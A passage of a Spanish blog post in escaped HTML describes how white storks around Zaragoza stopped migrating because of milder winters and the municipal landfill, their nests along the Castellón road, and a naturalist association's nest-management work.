una especie migradora como ésta pierda ese hábito?&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Dos poderosas razones son las que han hecho
cambiar las costumbres de nuestras cigüeñas, las dos debidas, al menos en
parte, a la acción humana. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;La primera de ellas es que el clima está
cambiando y en nuestro país los inviernos son ahora mucho menos duros que antaño,
tan sólo alguna esporádica ola de frío nos hace recordar cómo fueron en otras
épocas.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;En cuanto a nuestra ciudad, el cambio
climático también se deja notar, se han suavizado los inviernos y su situación a
tan sólo 200 msnm hace que las temperaturas negativas sean muy escasas, que la
nieve se convierta en una pura anécdota y que las densas y heladoras nieblas de
mi niñez cada vez sean menos abundantes.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Sin duda, todos estos cambios del clima son
favorables para las cigüeñas, pero existe otro factor todavía más importante que
sumado al anterior determina que estas aves se quede con nosotros todo el año: &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;el vertedero municipal&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhJKj-O5JWv-SA8arfLUeFArYjOxvEHC5aGvVUt0P2cxHMEEQ1Kf8q9qJR2ucd5XjN9K2wYrxEQsNiWgz2vW8zIV4krWE-cFGNULvm1L2106o976CdOB2FvE_uvOg5_0Ledr9J2JpY5rfJ/s1600/En-su-habitat-natural.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;720&quot; data-original-width=&quot;1000&quot; height=&quot;230&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhJKj-O5JWv-SA8arfLUeFArYjOxvEHC5aGvVUt0P2cxHMEEQ1Kf8q9qJR2ucd5XjN9K2wYrxEQsNiWgz2vW8zIV4krWE-cFGNULvm1L2106o976CdOB2FvE_uvOg5_0Ledr9J2JpY5rfJ/s320/En-su-habitat-natural.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Nido de cigüeñas en su habitat natural&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Y es que las cigüeñas, como buenas &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;“oportunistas”, han encontrado en la enorme
cantidad de basuras que produce Zaragoza (casi 700.000 habitantes) una inmensa
e inagotable fuente de materia orgánica de la que proveerse durante todo el año,
pasando a un segundo plano su alimentación “natural” compuesta de
invertebrados, roedores, lagartijas, ranas, peces…, que encuentra en nuestros
ríos y galachos.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Por eso ya no necesitan viajar a África en
busca de los lugares que les proporcionaban los alimentos que la dureza de los inviernos
de antaño les impedían encontrar aquí. La confluencia de todos estos factores,
bonanza climática, agua, regadíos, comida abundante y variada… han cambiado los
hábitos de nuestras cigüeñas hasta convertir a &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;Zaragoza es un paraíso para estas aves&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Si esta afirmación les resulta difícil de
creer, pueden fácilmente comprobar que no exagero recorriendo los 14 km de la
carretera de Castellón (A-68), que unen nuestra ciudad con la población de El
Burgo de Ebro, en este tramo de la autovía se han llegado a contabilizar más de
150 nidos de ocupación estable, que se convierten en 200 si seguimos contando
hasta llegar a Pina de Ebro.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Y es que resulta que ese tramo de carretera
es ideal para la nidificación de estas aves, al encontrarse en un punto medio
entre las orillas del Ebro (su hábitat natural), el vertedero municipal (al SE
de la ciudad) y la Reserva Natural de los Galachos&lt;sup&gt;2&lt;/sup&gt;, verdaderamente es
un lugar perfecto, en un corto vuelo &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;¡lo
tienen todo¡&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS3GY-KR06gmmE_cY3RaZew9d1-6w-xuq0VjRfi5riZwmX_1ploPMLM5RtvYRwlcobfQ9PyINJSSAPJr938q5R26kDeOT0V2Jq61Lv0o2T7__jxQPVJmwoDjwpuIROa0SvCnP5hr5rsHLR/s1600/Cig%25C3%25BCe%25C3%25B1as+en+un+humedal.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;786&quot; data-original-width=&quot;1000&quot; height=&quot;251&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS3GY-KR06gmmE_cY3RaZew9d1-6w-xuq0VjRfi5riZwmX_1ploPMLM5RtvYRwlcobfQ9PyINJSSAPJr938q5R26kDeOT0V2Jq61Lv0o2T7__jxQPVJmwoDjwpuIROa0SvCnP5hr5rsHLR/s320/Cig%25C3%25BCe%25C3%25B1as+en+un+humedal.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Buscando comida en un humedal&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Por si esto fuera poco, a lo largo de ese tramo
hay numerosos postes de luz, perfectos sustitutos de los árboles, para construir
sus pesados nidos en un alarde de equilibrio sin igual. Pero la cantidad de
postes es limitada y la gran demanda de éstos logró que el &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;overbooking&lt;/i&gt; hiciera su aparición, pero las cigüeñas solucionaron
rápidamente el problema, encontraron en las&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;&lt;a href=&quot;https://www.heraldo.es/noticias/aragon/zaragoza/2018/06/17/las-ciguenas-empadronan-carretera-castellon-1249785-2261126.html&quot;&gt;&lt;span style=&quot;mso-bidi-font-weight: normal;&quot;&gt;catenarias del ferrocarril&lt;/span&gt;&lt;/a&gt; que transcurre
más o menos paralelo a la carretera, más lugares perfectos para nidificar.&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Las poblaciones que atraviesa este tramo de
carretera tampoco escapan a esta gran ocupación y la tradicional construcción
de nidos en las torres de las iglesias de La Cartuja, El Burgo, Fuentes,
Quinto… es ahora masiva, algunas torres tienen tantos nidos y tan pesados, que ha
hecho temer la caída de alguno con el consiguiente peligro que eso supone. Porque
los nidos de cigüeña pesan mucho, las parejas que los ocupan les añaden cada
año nuevas ramas lo que los hace cada vez más voluminosos y pesados. Los más
antiguos a veces son tan grandes que pueden tener más de dos metros de diámetro
y pesar una tonelada, sí, he dicho bien, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;hasta
una tonelada&lt;/b&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ_gYjYUAqPqGid7c5Ka7J1TtuWlj3AcmmRRyUpukCs_5klsTSzcAwMGlBrFUGBR4bE2k9YwM52yga2bjBJH_KabTCXR7ovGPQVVQxKFUvrCnpkUHbo-D7_AaKROMrctzp-mHjWbobKx_S/s1600/Cig%25C3%25BCe%25C3%25B1as+en+el+nido.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;729&quot; data-original-width=&quot;1000&quot; height=&quot;233&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ_gYjYUAqPqGid7c5Ka7J1TtuWlj3AcmmRRyUpukCs_5klsTSzcAwMGlBrFUGBR4bE2k9YwM52yga2bjBJH_KabTCXR7ovGPQVVQxKFUvrCnpkUHbo-D7_AaKROMrctzp-mHjWbobKx_S/s320/Cig%25C3%25BCe%25C3%25B1as+en+el+nido.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Cigüeñas en un gran nido&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Durante los últimos 50 años las poblaciones
de cigüeña blanca en Aragón han experimentado un gran aumento, causando los
consiguiente problemas y conflictos en distintas poblaciones; por esta razón en
1994 la &lt;a href=&quot;http://www.ansararagon.com/&quot;&gt;&lt;span style=&quot;mso-bidi-font-weight: normal;&quot;&gt;AsociaciónNaturalista de Aragón, ANSAR&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://www.blogger.com/null&quot;&gt;,&lt;/a&gt; &lt;a href=&quot;http://www.ansararagon.com/wp-content/uploads/2019/07/ANSAR-VERDE-96-reducido.pdf&quot;&gt;(Ansar Verde, pág. 91) &lt;/a&gt;firmó un convenio con la DGA para
trabajar en la retirada de nidos que podían caer provocando graves daños,
descargar nidos viejos de gran tamaño, instalar plataformas artificiales para
favorecer las nidificaciones en lugares más adecuados, etc, a la vez que realizar
controles sanitarios de las aves, censos y anillamientos. Esta labor ha sido
llevada a cabo en todo Aragón a lo largo de 26 años.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Durante todo este tiempo, en ANSAR,
asociación de la que formo parte, los comentarios, anécdotas e informaciones
sobre las cigüeñas eran conversación habitual, máxime siendo varios de nuestros
amigos los encargados de realizar las labores citadas. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;Siempre se decía que para ver grandes bandadas
de cigüeñas había que ir al&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;a href=&quot;http://www.ruizarafoto.es/?p=1519&quot;&gt;&lt;span style=&quot;mso-bidi-font-weight: normal;&quot;&gt;vertedero&lt;/span&gt;&lt;/a&gt;,
así que un buen día varios amigos de la asociación, aficionados a las aves como
yo, decidimos ir allí para verlas “en su salsa”, fotografiarlas y hacer hasta
un pequeño vídeo.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Conforme nos íbamos acercando al lugar, el desagradable
olor iba invadiendo el interior de los coches, llegamos a un punto en el que la
vista era algo sensacional, cientos de aves (al menos esa impresión me dio) de
diversas especies, gaviotas, córvidos, buitres, milanos… y como no, bandadas de
cigüeñas, buscaban restos orgánicos entre las montañas de basura. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Paramos entusiasmados, preparé la cámara y
como el olor esa nauseabundo tuve que armarme de valor para salir del coche. Cuando
estuve fuera el hedor era tan insoportable que superó con creces mis grandes
deseos de hacer fotos y tan rápidamente como salí volví a entrar. Todos
reaccionamos por igual y nos alejamos de allí sin apenas fotografiar nada, el
espectáculo es magnífico, insuperable, eso sí, hay que ser capaz de soportar el
olor o llevar escafandra. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Por eso, no les recomiendo visitar el
vertedero, para ver cigüeñas es infinitamente más agradable recorrer la
carretera de Castellón, aficionados o no a las aves la visión no les
defraudará, decenas de nidos desfilan a derecha e izquierda.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Y visto todo lo visto volvemos al comienzo,
el refrán &lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“Por san Blas la cigüeña
verás…” &lt;/i&gt;ha perdido toda su veracidad, ya no emigran nuestra cigüeñas&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;¿para qué iban a hacerlo?&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;Inviernos suaves, alimentos y agua abundantes,
a falta de árboles postes de luz y catenarias y para colmo un basurero donde
encontrar cuerdas, cintas, plásticos y hasta fregonas… para hacer más cómodos
los nidos a sus cigoñinos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;Todo eso ha convertido a Zaragoza en un
paraíso para nuestra cigüeña blanca.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;&lt;span style=&quot;mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;¡A ver quien da más¡&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;helvetica&amp;quot; , sans-serif&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
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&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Rosa M. Germán&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;border-color: currentcolor currentcolor windowtext; border-image: none 100% / 1 / 0 stretch; border-style: none none solid; border-width: medium medium 1.5pt; padding: 0cm 0cm 1pt; text-align: justify;&quot;&gt;
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&lt;i&gt;&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
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&lt;br /&gt;&lt;/div&gt;
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&lt;span style=&quot;font-size: 9pt; mso-ascii-font-family: Calibri; mso-bidi-font-family: Arial; mso-hansi-font-family: Calibri;&quot;&gt;1.- La cigüeña blanca (&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;Ciconia ciconia&lt;/i&gt;) es la que habita en nuestra tierra. Para más
información: &lt;a href=&quot;https://www.seo.org/ave/ciguena-blanca/&quot;&gt;https://www.seo.org/ave/ciguena-blanca/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
